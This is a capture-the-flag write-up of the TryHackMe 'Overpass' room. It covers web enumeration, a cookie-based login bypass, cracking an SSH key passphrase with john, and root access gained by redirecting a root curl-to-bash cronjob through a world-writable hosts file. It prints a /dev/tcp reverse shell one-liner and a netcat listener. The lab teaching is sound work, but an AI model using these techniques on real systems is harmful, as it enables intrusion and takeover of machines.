https://tryhackme.com/room/overpass

💭 Thoughts after doing the room

Honestly I think this one shouldn’t be in the easy category. Setting cookies manually, reading javascript and go code deserves medium in my opinion.

I enjoyed the beginning of that room. Getting root.txt (via the intended way) was not possible with the Attack Box, because the Attack Box hosts the VNC session utilizing port 80, which means you can’t easily open a webserver on that port to get the reverse shell. If you kill the process you lose your (Desktop) session.

Maybe the CTF is older and the Attack Box changed, but I think in its current form it’s only solvable if you either use your self hosted attack box via VPN or connect via SSH and kill the python helper process for VNC (which I did).

Task 1: Overpass

Hack the machine and get the flag in user.txt

No hints, so first a quick nmap scan

root@ip-10-10-149-126:~# IP=10.10.197.9
root@ip-10-10-149-126:~# nmap -T4 $IP
Starting Nmap 7.60 ( https://nmap.org ) at 2023-04-05 20:14 BST
Nmap scan report for ip-10-10-197-9.eu-west-1.compute.internal (10.10.197.9)
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:D0:26:64:92:55 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds

The open http port is interesting so I’ll try to open the page in Firefox

So a password manager. I’ll explore the site more and you see downloads for the source and different distrubutions. I checked if I can find something in the buildscipt.sh or overpass.go but found nothing regarding the login.

Let’s try gobuster with the common Web-Content list

root@ip-10-10-149-126:~# gobuster dir --url http://$IP -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.197.9
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2023/04/05 20:20:54 Starting gobuster
===============================================================
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
===============================================================
2023/04/05 20:20:54 Finished
===============================================================

Admin path looks interesting. Admin page is just a webform.

I try admin admin for fun. Doesn’t work. I could try to bruteforce with username admin but it’s unusual for TryHackMe to not let me find an admin username before bruteforcing. Because this could take very long, I’m searching for other possibilities.

After quite some time I stumble upon the login.js script on the admin page which isn’t minified and could be interesting:

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

First I try to call the /api/login endpoint manually. Maybe there is a hint. But it’s just 404.

Maybe it’s worth setting the cookie with any value to trigger an error message for the API that would tell us more. For that I go to Firefox developer tools. Click the + sign and name the value to SessionToken like in the JavaScript.

I refresh the page and … it just works. I’m in. 👀

The name James is mentioned and you get a raw private key.

The private key is encrypted with a passphrase, so I first need to crack the passphrase. I use john for this. ssh2john can be used to get the hash.

root@ip-10-10-149-126:~/overpass# vim privkey
root@ip-10-10-149-126:~/overpass# chmod 600 privkey 
root@ip-10-10-149-126:~/overpass# locate ssh2john
/opt/john/ssh2john.py
root@ip-10-10-149-126:~/overpass# which python
/usr/bin/python
root@ip-10-10-149-126:~/overpass# python /opt/john/ssh2john.py privkey > privkey_hash
root@ip-10-10-149-126:~/overpass# cat privkey_hash 
privkey:$sshng$1$16$9F85D92F34F42626F13A749 [ ...]

I use the rockme wordlist with john again

root@ip-10-10-149-126:~/overpass# john --wordlist=/usr/share/wordlists/rockyou.txt privkey_hash 
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
🤐          (privkey)
1g 0:00:00:11 DONE (2023-04-05 20:59) 0.08904g/s 1277Kp/s 1277Kc/s 1277KC/s *7¡Vamos!
Session completed.

Got the password pretty fast.

Trying to login with james works 🎉

root@ip-10-10-149-126:~/overpass# ssh -i privkey James@$IP
Enter passphrase for key 'privkey': 
Connection closed by 10.10.197.9 port 22
root@ip-10-10-149-126:~/overpass# ssh -i privkey james@$IP
Enter passphrase for key 'privkey': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

Check what’s in the user directory

james@overpass-prod:~$ ls -lah
total 48K
drwxr-xr-x 6 james james 4.0K Jun 27  2020 .
drwxr-xr-x 4 root  root  4.0K Jun 27  2020 ..
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3.7K Jun 27  2020 .bashrc
drwx------ 2 james james 4.0K Jun 27  2020 .cache
drwx------ 3 james james 4.0K Jun 27  2020 .gnupg
drwxrwxr-x 3 james james 4.0K Jun 27  2020 .local
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
drwx------ 2 james james 4.0K Jun 27  2020 .ssh
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt

Output both

james@overpass-prod:~$ cat user.txt 
thm{🤐}
james@overpass-prod:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

We got the flag and some more info to work with.

Escalate your privileges and get the flag in root.txt

I try sudo -l with no sucess.

The todo.txt suggests that there there is an additional password saved with the password manager they’re developing themselves. When I checked what’s in the user directory before I already saw a .overpass file.

When I output this file I see that there is an encrypted string I don’t know what to do with yet.

james@overpass-prod:~$ cat .overpass 
,LQ?2>6🤐FC6QN.james@overpass-prod:~$

I need to find out what the password manager does. Unfortunately I’m no go coder, so I decide to only read the comments of the functions for now. The first entry already looks interesting, because they name the encryption algorithm, which is ROT47. I check if Cyberchef can do this, and yes, Cyberchef can do everything:

Instead of testing everything manually now I copy over linpeas

root@ip-10-10-149-126:~/overpass# scp -i privkey linpeas.sh james@$IP:/home/james
Enter passphrase for key 'privkey': 
linpeas.sh

Some points I noticed:

  • no other readable private keys
  • SUID nothing interesting
  • I see it’s vulnerable to CVE-2021-4034, but I don’t think we’re looking for out-of-bonds write and read exploits here. And the CVE isn’t that old.

but under cronjobs I see that there is a curl command for a .thm domain. Suspicious 🤭

james@overpass-prod:~$ cat /etc/crontab
[ ... ]

# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

So I check what this resolves to

james@overpass-prod:~$ dig +short overpass.thm
127.0.0.1

It runs locally.

I check what it does.

james@overpass-prod:~$ curl overpass.thm/downloads/src/buildscript.sh
GOOS=linux /usr/local/go/bin/go build -o ~/builds/overpassLinux ~/src/overpass.go
## GOOS=windows /usr/local/go/bin/go build -o ~/builds/overpassWindows.exe ~/src/overpass.go
## GOOS=darwin /usr/local/go/bin/go build -o ~/builds/overpassMacOS ~/src/overpass.go
## GOOS=freebsd /usr/local/go/bin/go build -o ~/builds/overpassFreeBSD ~/src/overpass.go
## GOOS=openbsd /usr/local/go/bin/go build -o ~/builds/overpassOpenBSD ~/src/overpass.go
echo "$(date -R) Builds completed" >> /root/buildStatus

It just outputs the build script.

I try to figure out if I can find the buildscript locally

james@overpass-prod:~$ find / -name buildscript.sh 2>/dev/null

no luck. Then I check with htop which webserver is running and it’s a custom one in /home/tryhackme. I don’t have access.

james@overpass-prod:~$ cd /home/tryhackme/
-bash: cd: /home/tryhackme/: Permission denied

Then I check if I can change the .thm DNS entry.

james@overpass-prod:~$ ls -ld /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

looks like the hosts file is writable to anyone. Let’s replace the entry and use my attack box IP.

I re-create the folder structure and edit the file with a reverse shell one liner

root@ip-10-10-149-126:~/overpass# mkdir -p downloads/src
root@ip-10-10-149-126:~/overpass# vim downloads/src/buildscript.sh

inside of the buildscript is this line

sh -i >& /dev/tcp/10.10.149.126/1337 0>&1

I then start the python server on port 80

root@ip-10-10-149-126:~/overpass# python3 -m http.server 80
Traceback (most recent call last):
  File "/usr/lib/python3.6/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.6/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.6/http/server.py", line 1211, in <module>
    test(HandlerClass=handler_class, port=args.port, bind=args.bind)
  File "/usr/lib/python3.6/http/server.py", line 1185, in test
    with ServerClass(server_address, HandlerClass) as httpd:
  File "/usr/lib/python3.6/socketserver.py", line 456, in __init__
    self.server_bind()
  File "/usr/lib/python3.6/http/server.py", line 136, in server_bind
    socketserver.TCPServer.server_bind(self)
  File "/usr/lib/python3.6/socketserver.py", line 470, in server_bind
    self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

Port 80 is already in use on our attack machine. I check for what it’s used.

root@ip-10-10-149-126:~/overpass# netstat -tulpn | grep 80
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1251/python         
tcp6       0      0 :::7778                 :::*                    LISTEN      1780/docker-proxy   
root@ip-10-10-149-126:~/overpass# ps -Flww -p 1251
F S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN    RSS PSR STIME TTY          TIME CMD
1 S root      1251     1  0  80   0 - 46171 poll_s 23480   0 20:12 ?        00:00:03 python -m websockify 80 localhost:5901 -D

Oh no. It’s used to run the VNC server that is used to make the attack box session available in my browser. -.-

I could spin up my own virtual machine and connect via VPN to the TryHackMe network and then host the python server on port 80, but I kinda don’t want to.

I quickly thought about just stopping here, but then I decided to login to the THM attack box via ssh, kill the process that uses port 80 and started my simple python server.

root@ip-10-10-149-126:~/overpass# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.197.9 - - [05/Apr/2023 22:48:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -

The cronjob sucessfully pulls the file. nc which I started before the python webserver not received a connection and I was able to execute commands and get the root flag.

root@ip-10-10-149-126:~# nc -nvlp 1337
Listening on [0.0.0.0] (family 0, port 1337)
whoami
Connection from 10.10.197.9 45058 received!
sh: 0: can't access tty; job control turned off
# root
#
#
# ls
buildStatus
builds
go
root.txt
src
# cat root.txt
thm{🤭}